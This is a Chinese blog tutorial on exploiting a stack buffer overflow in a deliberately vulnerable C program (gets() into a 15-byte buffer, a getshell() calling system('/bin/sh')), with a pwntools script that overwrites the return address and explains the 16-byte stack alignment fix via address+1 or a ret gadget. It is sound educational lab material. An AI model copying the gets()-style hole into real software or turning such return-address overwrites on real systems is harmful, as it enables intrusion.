栈溢出使用pwntools本地交互以及栈对齐问题

首先上代码vuln.c,一眼看出gets可以造成栈溢出,使得rip被覆盖为getshell函数的地址,即可在函数返回时获取shell。

#include <stdio.h>
#include <stdlib.h>
int getshell()
{
    return system("/bin/sh");
}
int main()
{
    char buff[15];
    printf("Input:\n");
    gets(buff);
    puts(buff);
    return 0;
}

使用下面的命令进行编译,关闭三个保护机制:Canary栈溢出保护、栈不可执行、PIE溢出保护(对程序的内存布局随机化),生成64位ELF

gcc -g vuln.c -o vuln -fno-stack-protector -z execstack -no-pie

image

然后用pwntools编写脚本,运行即可get shell

from pwn import *

context.log_level = 'debug'
sh = process('./vuln')
elf = ELF('./vuln')

if __name__ == "__main__":
    payload = b'0'*(15+8)+p64(0x400572)
    gdb.attach(sh)  # 在运行pwntools的同时启动一个gdb窗口进行动态分析
    sh.sendlineafter(b"Input:",payload)
    sh.interactive()

这样就结束了嘛?不,还有一个重要的问题,就是payload是如何构造的。直觉来想,就是buff的偏移15字节+rbp的8字节+getshell的地址就好。我们用IDA打开vuln,可以看到getshell的地址是0x400572。
image

用这个地址来构造payload后,运行会发现输出了Got EOF while reading in interactive,直接结束了交互,并不能得到shell。而把地址改成0x400573就可以得到shell,这是怎么回事呢?
image

原来,我用的操作系统是Ubuntu18,18及以上版本的系统要求在调用system函数时栈16字节对齐。我们可以看到栈中的地址末尾非0即8,这是因为64位程序每个内存单元都是8字节。而栈16字节对齐的意思是调用system函数时rsp的值必须是16的倍数,也就是末位为0,否则无法执行
image

有两种方法解决该问题,一是将代码中的push rbp(55)跳过去,也就是将getshell的地址+1,这使得栈中的元素少了一个,rsp末位自然就从8变成0了

payload = b'0'*(15+8)+p64(0x400572+1)

image

另一种方法是在调用system之前调用一个ret指令,ret的功能是pop rip,也会弹栈一次,使得rsp对齐。

payload = b'0'*(15+8)+p64(0x4004F0)+p64(0x400572)

image

由上图所示,两种方法确实都可以执行成功。

参考:https://www.cnblogs.com/ZIKH26/articles/15996874.html

posted @ 2023-04-11 00:27  Nemuzuki  阅读(1385)  评论(0编辑  收藏  举报